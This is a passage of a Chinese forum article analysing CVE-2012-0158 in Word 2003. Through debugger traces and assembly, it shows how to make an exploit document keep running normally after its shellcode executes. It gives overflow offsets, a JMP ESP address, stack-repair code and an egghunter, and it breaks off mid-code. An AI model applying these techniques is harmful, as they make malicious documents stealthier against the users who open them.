[原創]解讀天書----漏洞利用中級技巧的分析

仙果發表於2014-02-19
題記:
距離上次更新感覺已經過了很久很久的時間,什麼事情多時間少都是藉口,自己變的懶了倒是真的,給大家道歉,以後更新會加快的,今天不講漏洞分析,跟我來討論下漏洞利用中的一些原理上的分析。本篇文章遵循思考問題-分析問題-解決問題的過程,以符合大家的思路,Let’s go!
0x1        起因
江湖上一直流傳著袁哥(yuange1975)的傳說,發表的很多文章和微博自己從來都是當做天書來看,畢竟有些知識確實是我這等小菜無法理解和掌握的,只能深深的膜拜。
某天袁哥就發了如下的2篇微博:
[原創]解讀天書----漏洞利用中級技巧的分析
圖(1):袁哥微博截圖
像什麼APT、種馬(貌似有歧義)、檔案系統格式嵌入等等概念因為離自己太過遙遠不去管它,真正比較敢興趣的是“檔案可正常編輯,編輯後溢位種馬還一切正常”,“怎麼用簡單技術辦法修復堆記憶體結構”,平時做的都是分析分析再分析,像袁哥說的那樣還是真的沒有想象過,但如果真如他所說,確實非常的有趣,雖然我真的不懂,但看起來很厲害的樣子。看完袁哥的微博,這些東西就一直在腦子中盤旋,這到底是怎樣的一種情形,又如何去做到,有沒有實際一點的例子,最後實在是手癢的緊,太想見識一下傳說中的不彈、不閃、不卡的真面目,於是就有了此篇文章。
0x2        分析及驗證過程
0x2.1 一些思考
這些思考都是在實際除錯之前自己想要弄明白的,不然當真是無從下手,這時確定目標的過程。
什麼是“檔案可正常編輯”?
前提條件是不影響漏洞的觸發,首先要利用一個漏洞必須要保證漏洞能夠在對應的軟體版本平臺上正常觸發,之後再來檔案能否正常編輯的問題,一般的漏洞樣本是檔案開啟-閃一下-彈出了一個正常文件,這樣的情況下文件處理程式是退出了的,然後再重新啟動一個新的程式,原始樣本肯定是不可能做到可編輯。關鍵點是在哪裡呢?一番思考之後找到了關鍵:漏洞觸發之後堆疊恢復(附註(1)(2))。
        如何做到堆疊恢復?
我們知道漏洞觸發之後接著執行的就是ShellCode,即ShellCode接管了程式的執行流程,ShellCode主體功能執行之後呢,一般做法就是退出了,如果在ShelLCode主體功能執行之後,接著進行堆疊的恢復,若是成功,相當於交回了程式執行流程,即程式繼續“正確”的執行流程,自然文件是可以正常編輯。
明白了檔案可正常編輯是如何一個原理,接下來就是實際操作:
0x2.2選擇CVE-2012-0158
選擇哪一個漏洞作為分析的樣本這是一個艱難的過程,太舊的漏洞不沒有價值,新的漏洞又沒有,糾結!自己分析複合檔案格式方面的漏洞還是有那麼幾個,拿來做分析應該會快很多,Microsoft Word就是其中一個,就選它了,查詢下最近的漏洞,
CVE-2012-0158(MS12-027),是去年爆出來,也算是時間比較近的一個了。
POC的連結如下:
http://bbs.pediy.com/showthread.php?p=1067805#poststop
0x2.3 確認是否能夠正常開啟
這是一個2012年的老漏洞,Microsoft Office 2003最新補丁補了這個漏洞,那麼POC檔案應該是可以正常開啟並編輯。
實驗環境:
Windows XP SP3_CN 最新補丁(2013.06.23)_虛擬機器
Microsoft Office 2003 SP3(11.8348.8341)

在上述環境中,POC文件確實能夠正常開啟,如圖(2)所示:
[原創]解讀天書----漏洞利用中級技巧的分析
此時進行任何編輯也無問題,畢竟已經修補了此漏洞。
現在目標就是在未修補漏洞的環境中,做到像已修補漏洞環境一樣可正常開啟可編輯。
0x2.4 查詢漏洞觸發異常點
關於此漏洞的原理由於網上的文章已經很多了,一搜一大把,我這裡也就不進行細緻分析了,直接進入正題。
實驗環境:
Windows XP SP3_CN_虛擬機器(未打補丁)
Microsoft Office 2003 SP3(11.8169)
除錯工具:
Windbg
010editor

首先先在虛擬機器裡直接執行樣本觀察樣本的行為,哦哦,一個碩大的計算器彈了出來,證明漏洞是執行成功了的,現在要做的就是嘗試斷點,在Windbg中觀察程式執行過程。
我們知道一個PE檔案執行起來,必須要呼叫相應的API函式,一般情況下回ShellCode會呼叫WinExec() API函式來執行PE檔案,就在此函式下斷。
0:004> bc *
0:004> bu winexec
0:004> bl
 0 e 7c8623ad     0001 (0001)  0:**** kernel32!WinExec

重新把樣本檔案拷貝到虛擬機器中,WIndbg附加Word.exe程式,開啟樣本檔案,可以觀察到確實在WinExec函式入口點斷了下來,此時觀察堆疊情況,如下:
0:000> da 08f36008 
08f36008  "C:\Documents and Settings\Admin\"
08f36028  "a.exe"
0:000> kvn
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00120e10 001210de 08f36008 00000000 08f36008 kernel32!WinExec
01 00120e40 275c8a0a 08f15008 09ce28a8 0001c000 0x1210de
02 00120e7c 00120ef5 1005c48b c7000001 4d032400 
MSCOMCTL!DllGetClassObject+0x41cc6
03 00000000 00000000 00000000 00000000 00000000 0x120ef5

WinExec() 執行的PE檔案路徑是 C:\Documents and Settings\Admin\a.exe,觀察堆疊情況可以明顯的知道,MSCOMCTL!DllGetClassObject+0x41cc6 處是函式的返回地址,雖然不一定的誤報率,但一般情況下都是準確的。
275c8a00 8d45f8          lea     eax,[ebp-8]
275c8a03 53              push    ebx
275c8a04 50              push    eax
275c8a05 e863fdffff      call    MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)
275c8a0a 8bf0            mov     esi,eax

函式返回值的上一條指令處下斷點:
Bu MSCOMCTL!DllGetClassObject+0x41cc1
重新附加Word程式,開啟樣本檔案,能夠斷點上述斷點處,F11跟入處理函式中,一直到如下程式碼:
275c87be 8b750c          mov     esi,dword ptr [ebp+0Ch]
275c87c1 8bcf            mov     ecx,edi				
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
275c87cd 8bc8            mov     ecx,eax
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]

可以觀察到在275c87cb rep movs 指令在記憶體拷貝時覆蓋了堆疊,拷貝大小為0x8282,實際上就是Memcpy() 記憶體拷貝函式的簡寫。
覆蓋前:
0:000> db esp l100
00120e30  00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00  ................
00120e40  74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00  t.....\'l....~..
00120e50  82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a  ................
00120e60  43 6f 62 6a 64 00 00 00-82 82 00 00 b8 17 d2 08  Cobjd...........
00120e70  e4 59 58 27 9c 0e 12 00-1a 70 5e 27 cc 16 d2 08  .YX'.....p^'....
00120e80  10 08 00 0a 00 00 00 00-a8 16 d2 08 58 74 1c 00  ............Xt..
00120e90  96 c2 5a 27 01 00 00 00-bc 0e 12 00 bc 0e 12 00  ..Z'............
00120ea0  61 73 5e 27 cc 16 d2 08-10 08 00 0a 10 08 00 0a  as^'............
00120eb0  49 74 6d 73 64 00 00 00-00 00 59 27 3c 0f 12 00  Itmsd.....Y'<...
00120ec0  b6 a8 5c 27 50 76 1c 00-10 08 00 0a a8 74 1c 00  ..\'Pv.......t..
00120ed0  58 74 1c 00 c0 ac ca 08-01 ef cd ab 00 00 05 00  Xt..............
00120ee0  98 5d 65 01 07 00 00 00-08 00 00 80 05 00 00 80  .]e.............
00120ef0  00 00 00 00 0f fa 58 27-00 00 00 00 cb 07 01 2f  ......X'......./
00120f00  de f9 58 27 00 d0 62 27-c0 ac ca 08 87 f9 58 27  ..X'..b'......X'
00120f10  e0 74 1c 00 10 08 00 0a-00 00 00 00 4e 08 7d eb  .t..........N.}.
00120f20  01 00 06 00 1c 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> p

覆蓋後:
0:000> db esp l100
00120e30  00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00  ................
00120e40  74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00  t.....\'l....~..
00120e50  82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a  ................
00120e60  43 6f 62 6a 64 00 00 00-82 82 00 00 00 00 00 00  Cobjd...........
00120e70  00 00 00 00 00 00 00 00-12 45 fa 7f 90 90 90 90  .........E......
00120e80  90 90 90 90 8b c4 05 10-01 00 00 c7 00 24 03 4d  .............$.M
00120e90  08 e9 5a 00 00 00 6b 65-72 6e 65 6c 33 32 00 df  ..Z...kernel32..
00120ea0  2d 89 8c 1b 81 7d ef 42-9d 85 85 d6 4e 99 59 5a  -....}.B....N.YZ
00120eb0  61 d8 54 93 77 77 21 9d-4a 62 68 c3 53 a3 83 6a  a.T.ww!.Jbh.S..j
00120ec0  6b df 5c 5a 8a 1d 2b 4f-2c 45 28 81 71 f5 40 01  k.\Z..+O,E(.q.@.
00120ed0  92 8f 05 ba 36 c1 0a 61-61 61 61 73 68 65 6c 6c  ....6..aaaashell
00120ee0  33 32 00 8b 98 8a 31 61-61 61 61 6f 70 65 6e 00  32....1aaaaopen.
00120ef0  e8 11 02 00 00 6a ff e8-08 00 00 00 05 35 00 00  .....j.......5..
00120f00  00 ff 10 c3 e8 00 00 00-00 58 83 c0 04 2d 77 00  .........X...-w.
00120f10  00 00 c3 55 8b ec 52 53-8b 55 08 33 c0 f7 d0 32  ...U..RS.U.3...2
00120f20  02 b3 08 d1 e8 73 05 35-20 83 b8 ed fe cb 75 f3  .....s.5 .....u.

從0x00120e70  記憶體處開始往下進行覆蓋。
接著再來看執行到shellcode的方式,拷貝之後返回上層函式後,在
0:000> u eip
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8

執行ret 8指令,通過JMP ESP 指令跳轉到shellcode中
0:000> dd esp
00120e78  7ffa4512 90909090 90909090 1005c48b
00120e88  c7000001 4d032400 005ae908 656b0000

0x7ffa4512是非常著名的通用跳轉地址,中文系統下通殺。Shellcode不是分析的主要目的,就不再對shellcode進行細緻的分析。
最後使用010editor觀察樣本檔案,很簡單就能找到如下內容:
000082820000828200000000000000000000000000001245fa7f90909090909090908bc
0x8282是拷貝記憶體長度,0x7ffa4512是JMP ESP指令地址,9090之後就是shellcode。

0x2.5 階段總結
總結下目前的所知道的資訊,首先漏洞修補之後文件是能夠正常開啟編輯的,其次找到了觸發漏洞的點:Memcpy()函式,在樣本檔案中同樣也定位到了控制溢位資料和shellcode 。接著要做的就是驗證漏洞情況下能否做到完美退出。
0x2.6 除錯驗證是否完美退出
之前的分析過程可以發現,Memcpy()函式執行之後,覆蓋的程式堆疊,只有儘可能小的覆蓋堆疊(ESP)上的資料,保持原有的程式引數才有可能做到完美退出,第一步驗證在不進行任何資料覆蓋的情況下能否完美退出。
0x.2.6.1 驗證不覆蓋情況下能否正常退出
觀察如下程式碼:
275c87c1 8bcf            mov     ecx,edi		//把拷貝長度賦給ecx
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2			//右移2位
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]	//拷貝
275c87cd 8bc8            mov     ecx,eax
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]

修改ecx的值為0x4,執行 shr ecx,2之後,拷貝的大小就為1,即拷貝一次,一次拷貝4個位元組(一個Dword),進行驗證。
經過2斷點修改之後,樣本檔案正常開啟咯!這是一個很好的開始,證明自己的想法沒有錯,在資料填充足夠小的情況下能夠完美退出,距離目標又進了一大步。
0x.2.6.2 第二次思考分析
來總結下目前的情況,第一修補漏洞情況下文件正常開啟和正常編輯儲存,第二當只拷貝4個位元組的情況下能夠正常開啟編輯,即可以這麼說當拷貝資料足夠小的情況下能夠做到完美退出。第三整個漏洞分析的目標是觸發漏洞並能夠執行ShellCode的情況下做到完美退出。
至於在滿足上述條件的情況下,覆蓋多少個位元組的資料,是接下來需要分析的內容。有一個前提就是越少越好,最好的情況是覆蓋10多個位元組就滿足條件,當然這種情形估計不常見,也需要實際去測試分析。
開始吧,繼續往下分析,目前為止還無法斷定最終能不能達到理想的效果。
0x2.6.3驗證滿足條件最大位元組
目前為止,還沒有考慮ShellCode,不過可以肯定的是溢位時,ShellCode肯定是不能放在棧頂(ESP)附近的(可參考附註資料),一是堆疊長度不夠,而是不符合實際情況,最簡單的埠複用ShellCode也要在50個位元組以上,更別說釋放並執行的一類ShellCode,所以暫時不考慮ShellCode情況,先把完美退出的情況分析完畢之後,再去做ShellCode的工作,且看我慢慢道來。
先來觀察一下在覆蓋堆疊之前棧頂(ESP)的資料,
0:000> r
eax=00008282 ebx=09520810 ecx=000020a0 edx=00000000 esi=08cfefb8 edi=00120e6c
eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a87:
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> dds esp
00120e30  00000000
00120e34  00192ed4
00120e38  09520810
00120e3c  00008282
00120e40  00120e74
00120e44  275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6
00120e48  00120e6c
00120e4c  08cfefb8
00120e50  00008282
00120e54  00000000
00120e58  00192ed4
00120e5c  09520810
00120e60  6a626f43
00120e64  00000064
00120e68  00008282
00120e6c  00192fc0
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31
00120e74  00120e9c
00120e78  275e701a MSCOMCTL!DLLGetDocumentation+0xd08
00120e7c  00192ed4
00120e80  09520810
00120e84  00000000
00120e88  00192eb0
00120e8c  08cfea50
00120e90  275ac296 MSCOMCTL!DllGetClassObject+0x25552
00120e94  00000001
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
00120ea4  00192ed4
00120ea8  09520810
00120eac  09520810
00120eac  09520810
00120eb0  736d7449
00120eb4  00000064
00120eb8  27590000 MSCOMCTL!DllGetClassObject+0x92bc
00120ebc  00120f3c
00120ec0  275ca8b6 MSCOMCTL!DllGetClassObject+0x43b72
00120ec4  08cfec48
00120ec8  09520810
00120ecc  08cfeaa0
00120ed0  08cfea50
00120ed4  08c84088
00120ed8  abcdef01
00120edc  00050000
00120ee0  01655d98 xpsp2res+0x65d98

上述操作中,只覆蓋了4個位元組,其實覆蓋的是 0x00120e6c指向的記憶體,此處為0,並沒有影響到程式的執行流程,得以完美退出。
接下來要做的就是不斷的修改測試,修改的值其實就是覆蓋資料的長度(ECX),彙編中ECX一般作為資料拷貝的長度暫存器,接著尋找一個返回點同時修改棧頂(ESP)和棧底(EBP),之後返回,驗證是否能夠完美退出,好了說這麼說,看實際是如何操作的。
觀察上述堆疊(ESP)情形,可以發現如下情況:
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31

0x00120e70 指向的記憶體就是存放的函式返回地址,當程式執行到ret offset時,當前的ESP暫存器就指向了這類的記憶體地址。
現在需要做的就是找到一個合適的棧頂(ESP)和棧底(EBP),在覆蓋堆疊上一些資料之後,返回到這個棧頂(ESP),程式得以繼續往下執行並且不會導致異常情況的出現。
可以肯定的是隻覆蓋4個位元組的情況下肯定是可以完美退出的,現在就來觀察一下覆蓋4個位元組程式的執行流程,使其依次返回上層函式來確認堆疊分佈情況,記錄有可能的棧頂(ESP)和棧底(ESP)暫存器。
當程式執行到如下程式碼:
eax=8000ffff ebx=002158f0 ecx=08190000 edx=00000000 esi=00190b48 edi=00000000
eip=275e7049 esp=00120ea0 ebp=00120ebc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
MSCOMCTL!DLLGetDocumentation+0xd37:
275e7049 c20800          ret     8

堆疊情況如下:
ESP:
00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
00120ea4 00190b6c 
00120ea8 08540810 
00120eac 08540810 
00120eb0 736d7449 
00120eb4 00000064 
00120eb8 27590000 MSCOMCTL!DllGetClassObject+0x92bc
00120ebc 00120f3c 
0:000> kvn
 # ChildEBP RetAddr  Args to Child              
00120ebc 275ca8b6 00215ae8 08540810 00215940 MSCOMCTL!DLLGetDocumentation+0xd37
01 00120f3c 2758aee8 002158f0 00000000 08540810 MSCOMCTL!DllGetClassObject+0x43b72
02 00120f6c 27600908 00215940 08540810 00000000 MSCOMCTL!DllGetClassObject+0x41a4
03 00120f80 302e3b3f 00215944 08540810 00000000 MSCOMCTL!DllUnregisterServer+0xc31
04 00121014 30296275 00000000 00000000 0146edbc WINWORD+0x2e3b3f
05 00121068 304c49a1 00000000 00000000 00000001 WINWORD+0x296275
06 001210e0 302e12d6 00000001 00000000 00000000 WINWORD+0x4c49a1
07 0012119c 300443b6 0146c814 00000002 0012156c WINWORD+0x2e12d6

此時 esp=00120ea0 ebp=00120ebc,距離覆蓋點0x00120e6c處有了0x34個位元組可以使用,猜測是可以使用此處來作為覆蓋後返回的棧頂(ESP)和棧底(ESP)。
要明確一點是必須覆蓋足夠的資料才能覆蓋到函式返回地址,否則雖然能夠完美退出,但是無法執行到shellcode中就做了無用功,覆蓋資料長度既不能太大也不能太小,太大無法做到完美退出,太小無法做到覆蓋函式返回地址,這是一個很糾結的問題,需要很多次的分析測試。
接下來就是驗證這個想法,
275c87c1 8bcf            mov     ecx,edi	//把拷貝資料長度賦給ecx
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx			//eax會作為一個拷貝總長度
275c87c8 c1e902          shr     ecx,2				//ecx右移2位,相當於除以4
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]	//開始拷貝

分析上述程式碼可知,ecx是由edi賦值而來(edi的賦值過程不在本篇的討論範圍,確認是從樣本中讀取而來即可),修改為一個小一些的值:0x2C進行測試,命令格式:
0:000> r edi=0x2c

理論上是能夠保證覆蓋函式返回地址的,接著往下執行,直至:
eax=00000057 ebx=08440810 ecx=08440810 edx=00620001 esi=00190b6c edi=00000000
eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
0:000> dds esp
00120e78  7ffa4512
00120e7c  00000000
00120e80  4a000000
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

堆疊覆蓋了0x2c大小的資料,距離假定的棧頂(ESP):0x00120ea0還有8個位元組,程式接著會跳轉到0x7ffa4512記憶體地址去執行,即JMP ESP,通用利用地址無需解釋。
7ffa4512 ffe4            jmp     esp {00120e84}
0:000> dds esp
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

程式會跳轉到0x00120e84處執行程式碼,完美退出程式碼就應該寫在此處:
00120e84 83c41c          add     esp,1Ch
00120e87 8d6c241c        lea     ebp,[esp+1Ch]
00120e8b c20800          ret     8

測試以後發現經過上述修改之後確實可做到完美退出,為繼續往下分析提供了基礎。
接下來要做什麼?
要回答上面的問題,先來了解目前的情況,有了一個可以完美退出的樣本,可以覆蓋堆疊上一小部分資料,因此距離利用的目標還有一段距離,接下來要做的就是使ShellCode執行起來。
0x3        具體實現
以上部分都是分析驗證部分,真正實現部分是由第三部分來完成,這部分主要完成的工作是完成ShellCode部分的修改和執行,之後能夠完美退出。
0x3.1 Small ShellCode 確認及驗證
需要計算留給我們填寫shellcode的長度是多少?回到覆蓋之前的瞬間,
0:000> r
eax=0000002c ebx=08440810 ecx=0000000b edx=00000000 esi=00216408 edi=00120e6c
eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a87:			//執行拷貝
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d esi			//對應拷貝的源資料
00216408  00 00 00 00 00 00 00 00-00 00 00 00 12 45 fa 7f  .............E..
00216418  90 90 90 90 90 90 90 90-8b c4 05 10 01 00 00 c7  ................
00216428  00 24 03 4d 08 e9 5a 00-00 00 6b 65 72 6e 65 6c  .$.M..Z...kernel
00216438  33 32 00 df 2d 89 8c 1b-81 7d ef 42 9d 85 85 d6  32..-....}.B....
0:000> d edi			//記憶體拷貝的目的地址
00120e6c  58 0c 19 00 e4 59 58 27-9c 0e 12 00 1a 70 5e 27  X....YX'.....p^'
00120e7c  6c 0b 19 00 10 08 44 08-00 00 00 00 48 0b 19 00  l.....D.....H...
00120e8c  c0 19 38 08 96 c2 5a 27-01 00 00 00 bc 0e 12 00  ..8...Z'........
00120e9c  bc 0e 12 00 61 73 5e 27-6c 0b 19 00 10 08 44 08  ....as^'l.....D.
00120eac  10 08 44 08 49 74 6d 73-64 00 00 00 00 00 59 27  ..D.Itmsd.....Y'
0:000> dds esp		//ESP 堆疊情況
00120e30  00000000
00120e34  00190b6c
00120e38  08440810
00120e3c  00008282
00120e40  00120e74
00120e44  275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6
00120e48  00120e6c
00120e4c  00216408
00120e50  00008282
00120e54  00000000
00120e58  00190b6c
00120e5c  08440810
00120e60  6a626f43
00120e64  00000064
00120e68  00008282
00120e6c  00190c58		//從這裡開始往下拷貝
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31
00120e74  00120e9c
00120e78  275e701a MSCOMCTL!DLLGetDocumentation+0xd08
00120e7c  00190b6c
00120e80  08440810
00120e84  00000000
00120e88  00190b48
00120e8c  083819c0
00120e90  275ac296 MSCOMCTL!DllGetClassObject+0x25552
00120e94  00000001
00120e98  00120ebc
00120e9c  00120ebc		//記憶體拷貝到此處結束
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

上面程式碼可以看出,Memcpy記憶體拷貝的源資料為ESI:0x00216408 指向的資料,目的地址為EDI:0x00120e6c,最大能夠填充到的地址為0x00120ea0,現在就可以計算出最大填充的位元組數:0x00120ea0-0x00120e6c=0x34(52),這0x34(52)位元組首先需要減去
275c8a55   leave
275c8a56   ret  8 程式碼的20個位元組,其中leave指令12個位元組,Ret 8指令8個位元組,Jmp Esp 指令需要4個位元組,計算公式就為 0x34(52)- 0x0c- 8 - 4= 0x1c(28)位元組,所以這裡只能填充為Small_ShellCode,圖示如下:
[原創]解讀天書----漏洞利用中級技巧的分析
0x1c(28)位元組大小的緩衝區為可供編寫shellcode的區域,這部分ShellCode需要完成的功能是使程式的執行流程跳轉到真正實現利用功能的ShellCode。

0x3.2 編寫Small Shellcode
一個小的Shellcode通過記憶體搜尋或者其他方法來找到真正的Shellcode的過程,一般叫做Egghunrt,相應的這部分程式碼叫做EggSearch。網路上類似的ShellCode是非常多的。Exploit-db網站上就有一個,程式碼如下:
#include <stdio.h>
#include <Windows.h>
void main()
{
	__asm
	{
			; win32 eggsearch shellcode, 33 bytes
			; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
			; (c) 2009 by Georg 'oxff' Wicherski 
			//[bits 32]
#define marker  0x1f217767   ; 'gw!\x1f'
			nop
			nop
			nop
			nop
start:
		xor edx, edx							; edx = 0, pointer to examined address
address_loop:
			inc edx									 ; edx++, try next address
pagestart_check:
			test dx, 0x0ffc					 ; are we within the first 4 bytes of a page?
			jz address_loop				; if so, try next address as previous page might be unreadable
									; and the cmp [edx-4], marker might result in a segmentation fault
access_check:
			push edx								 ; save across syscall
			push  8h								 ; eax = 8, syscall nr of AddAtomA
			pop eax								 ; ^
			int 0x2e								 ; fire syscall (eax = 8, edx = ptr)
			cmp al, 0x05						; is result 0xc0000005? (a bit sloppy)
			pop edx    ;
			je address_loop					; jmp if result was 0xc0000005
egg_check:
			cmp dword ptr [edx-4], marker					; is our egg right before examined address?
			jne address_loop											; if not, try next address
egg_execute:
			inc ebx															; make sure, zf is not set
			jmp edx														; we found our egg at [edx-4], so we can jmp to edx
			nop
			nop
			nop
			nop
	}
}

上述程式碼的主要實現的功能是在記憶體中不斷的與設定的標誌位進行比較,若發現相同的位元組,則跳轉到標誌位處執行。標誌位緊接這的就是真正的shellcode。編譯之後發現整個Eggsearch的大小是33個位元組,與我們可控的28個位元組還有幾個位元組的距離,需要對程式碼進行修改判斷,檢視是否最終符合不符合需求。
需要對Eggsearch這段程式碼進行優化,程式碼精簡使其最終減小到28個位元組以內,這是一個非常有難度的事情,因為Eggsearch本身程式碼已經是經過優化壓縮的,在此基礎上再次壓縮,難度就有些大了。例如push 8,pop eax 這兩句彙編指令等於mov eax,8這句指令,但是前者所佔用了3個機器碼(6a 08 58),後者則佔用了5個機器碼(b8 08 00 00 00),孰優孰劣一目瞭然。

0x3.3 另闢蹊徑編寫獨特Small ShellCode
之前的分析可以發現,優化精簡Eggsearch程式碼是非常繁瑣複雜的,很難成功。這時就要考慮是否還有其他更簡便的方法來實現我們的目的,如果存在的話,就不用編寫搜尋記憶體的Eggsearch程式碼,漏洞執行效率高,也減少了被安全軟體檢測到機率。
現在來分析漏洞執行過程中的程式碼:
[I]275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
275c87cd 8bc8            mov     ecx,eax[/I]
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]
275c87d2 83e103          and     ecx,3
275c87d5 6a00            push    0

斜線部分程式碼即為漏洞觸發的關鍵程式碼,實際執行的動作其實是Memcpy()函式。要完成完美退出的目的,需要修改的是ecx的大小,即memcpy()函式拷貝字串的長度,大小為0x34(52)位元組,上述是已知的條件,觀察下暫存器Esi指向的資料:
0:000> db esi l100
00237790  00 00 00 00 00 00 00 43-43 43 44 44 12 45 fa 7f  .......CCCDD.E..
002377a0  00 00 00 00 00 00 00 4a-47 47 47 48 48 48 48 49  .......JGGGHHHHI
002377b0  49 49 4a 4a 4a 4a 4b 4b-4b 4b 4c 4c 4c 4c 4d 4d  IIJJJJKKKKLLLLMM
002377c0  4d 4d 4c 4c 4c 4c 4d 4d-4d 4f 4f 4f 4f 50 50 50  MMLLLLMMMOOOOPPP
002377d0  50 51 51 51 51 52 52 52-52 53 53 53 53 54 54 54  PQQQQRRRRSSSSTTT
002377e0 5555 55 55 55 56 56 56-56 56 57 57 57 57 57 58  UUUUUVVVVVWWWWW
002377f0  58 58 58 58 59 59 59 5a-5a 5a 5a 5b 5b 5b 5b 5b  XXXXYYYZZZZ[[[[[
00237800  5c 5c 5c 5c 5c 5d 5d 5d-98 8a 31 61 61 61 61 6f  \\\\\]]]..1aaaao
00237810  70 65 6e 00 e8 11 02 00-00 6a ff e8 08 00 00 00  pen......j......
00237820  05 35 00 00 00 ff 10 c3-e8 00 00 00 00 58 83 c0  .5...........X..
00237830  04 2d 77 00 00 00 c3 55-8b ec 52 53 8b 55 08 33  .-w....U..RS.U.3
00237840  c0 f7 d0 32 02 b3 08 d1-e8 73 05 35 20 83 b8 ed  ...2.....s.5 ...
00237850  fe cb 75 f3 80 3a 00 74-03 42 eb e7 f7 d0 5b 5a  ..u..:.t.B....[Z
00237860  c9 c2 04 00 51 56 57 33-c9 64 8b 35 30 00 00 00  ....QVW3.d.50...
00237870  8b 76 0c 8b 76 1c 8b 46-08 8b 7e 20 8b 36 38 4f  .v..v..F..~ .68O
00237880  18 75 f3 5f 5e 59 c3 55-8b ec 57 56 53 51 8b 7d  .u._^Y.U..WVSQ.}

斜線部分為完美退出可控資料,但是其後的資料也是在文件中,即也是可控資料。重點來了,如果可以通過一些程式碼的操作,使word程式的執行流程按照我們的想法改變,跳轉到暫存器esi指向的資料下面處進行執行,就不用編寫Eggsearch程式碼。
接著看能否實現,記錄一下暫存器esi的值,esi=0x00237790,當程式執行到:
0:000> p
eax=00000057 ebx=08440810 ecx=08440810 edx=00630001 esi=00190b6c edi=00000000
eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
0:000> dds esp
00120e78  7ffa4512
00120e7c  00000000
00120e80  4a000000
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  4d4d4c4c
00120e9c  4c4c4d4d
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

程式此時馬上就要跳轉到7ffa4512 JMP ESP 指令去執行。搜尋之前儲存的esi的值。
0:000> sa l?fffffff 90 77 23 00
0011fd30  90 77 23 00 98 2f 21 00-10 00 00 00 e8 93 23 00  .w#../!.......#.
0014017c  90 77 23 00 80 01 14 00-80 01 14 00 b0 1f 21 00  .w#...........!.
002162d0  90 77 23 00 38 02 34 08-b4 e1 fd 7f b4 e1 fd 7f  .w#.8.4.........
002168f0  90 77 23 00 38 02 34 08-00 00 00 00 00 00 00 00  .w#.8.4.........

反覆這個過程進行測試後發現0x0014017c,這個地址是固定不變的,並且指向的值必是之前儲存的esi,暫存器esi指向了可控的資料,這部分可控資料只是在堆(heap)中並沒有拷貝到棧上而已,只需要做到使程式在堆中執行即可。另外0x0014017c這個地址在Microsoft Office 2003的其他版本SP0/SP1/SP3,Microsoft Office 2007 SP0/SP1/SP2/SP3中都是穩定不變的,這為完美退出的工作提供了巨大的便利。
剩下的工作就是根據之前的分析編寫相應的彙編程式碼,工作量的問題了,這裡貼出自己編寫的程式碼:
#include <WINDOWS.H>
#include <stdlib.h>
#include <stdio.h>
void main()
{
	__asm{
